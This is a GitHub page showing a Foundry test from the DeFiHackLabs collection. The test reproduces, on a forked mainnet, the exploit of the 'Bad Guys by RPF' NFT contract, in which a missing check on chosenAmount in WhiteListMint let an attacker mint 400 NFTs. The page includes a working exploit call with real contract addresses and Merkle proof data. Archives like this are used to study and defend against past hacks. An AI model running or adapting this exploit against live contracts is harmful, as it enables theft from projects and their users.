forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
BadGuysbyRPF_exp.sol
62 lines (47 loc) · 3.15 KB
/
BadGuysbyRPF_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
/*
Bad Guys by RPF Business Logic Flaw Exploit PoC
The exploit was due to the missing check for "chosenAmount" in the WhiteListMint function which allowed the attacker to pass the number of NFTs he/she wanted to mint.
To understand more about NFT Merkle Proof - https://www.youtube.com/watch?v=67vkL8XkoJ0
Etherscan tx - https://etherscan.io/tx/0xb613c68b00c532fe9b28a50a91c021d61a98d907d0217ab9b44cd8d6ae441d9f
forge test --contracts ./src/test/BadGuysbyRPF_exp.sol -vv*/
contract BadGuysbyRPFExploit is DSTest {
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address owner = 0x09eFF2449882F9e727A8e9498787f8ff81465Ade; //owner of Bad Guys by RPF
address attacker = 0xBD8A137E79C90063cd5C0DB3Dbabd5CA2eC7e83e;
IBadGuysRPFERC721 RPFContract = IBadGuysRPFERC721(0xB84CBAF116eb90fD445Dd5AeAdfab3e807D2CBaC);
bytes32[] merkleTree;
function setUp() public {
cheats.createSelectFork("mainnet", 15_460_093); //fork mainnet at 15460093
// There should be an easier way to do this
// I tried passing it as whole array but did not work
merkleTree.push(0xa3299324d1c59598e0dfa68de8d8c03d7492d88f6068cdd633a74eb9212e19e5);
merkleTree.push(0x5dcd197f362a82daaf56545974db26aabfe335be4c7eef015d3d74ccea4bf511);
merkleTree.push(0x18d716ad7f5113fe53b24a30288c6989dd04e6ad881be58b482d8d58f71c42da);
merkleTree.push(0x97a98e092a76c15cef3709df2776cf974e2519231e79c9ad97c15a1835c5c4be);
merkleTree.push(0x171696d6231b4a201927b35fe2dae4b91cefb62bef849a143560ebbb49cee5df);
merkleTree.push(0xe89305151bbec931414ab9693bf886cf3b96dba00ca338b1c0aaae911b6dff35);
merkleTree.push(0x69691b91227fa34a7a9a691d355fd6c466370928ddf3d50a347e894970f10079);
merkleTree.push(0x78299a273b7d50bcb1d75df1694be463b9cc66c6520026b785615c4594dbb1ba);
merkleTree.push(0xb297db4d926f0ebc26e098afcefa63d1d86d2e047ecbc36357192ef5240ea0ea);
merkleTree.push(0xb875ced562ca82ce114152c899bbd085d230a17be452243fda43bf995774243e);
merkleTree.push(0xd284a1831379548ff6bb0b5ad75ce8d0d1fea1cdc7b40b5f8d2e2307c9eda32c);
merkleTree.push(0x7eff30a405cfce9989fe9d71e346d7b3616fa69b8251782898226268818f63fb);
merkleTree.push(0x651ec4246f6e842692770a6ebd63396b4d62b52a3406522a02f182b8a16ba48c);
merkleTree.push(0xee17656e8a839ac096dd5905744ada01278fc49b978260e9e3ddd92223cc18d7);
merkleTree.push(0xce5c61c22a5d840c02b32aaebf73c9bc3c3d71c49f22b22c4f3cae4aa1fd557b);
}
function testExploit() public {
//quick hack to enable Minting in Block#15460093
//In actual hack the Mint was live in Block#15460094
cheats.prank(owner);
RPFContract.flipPauseMinting();
console.log("[Before WhiteListMint] Attacker's Bad Guys by RPF NFT Balance: ", RPFContract.balanceOf(attacker));
cheats.prank(attacker);
RPFContract.WhiteListMint(merkleTree, 400); //mint 400 Bad Guys by RPF
console.log("[After WhiteListMint] Attacker's Bad Guys by RPF NFT Balance: ", RPFContract.balanceOf(attacker));
}
}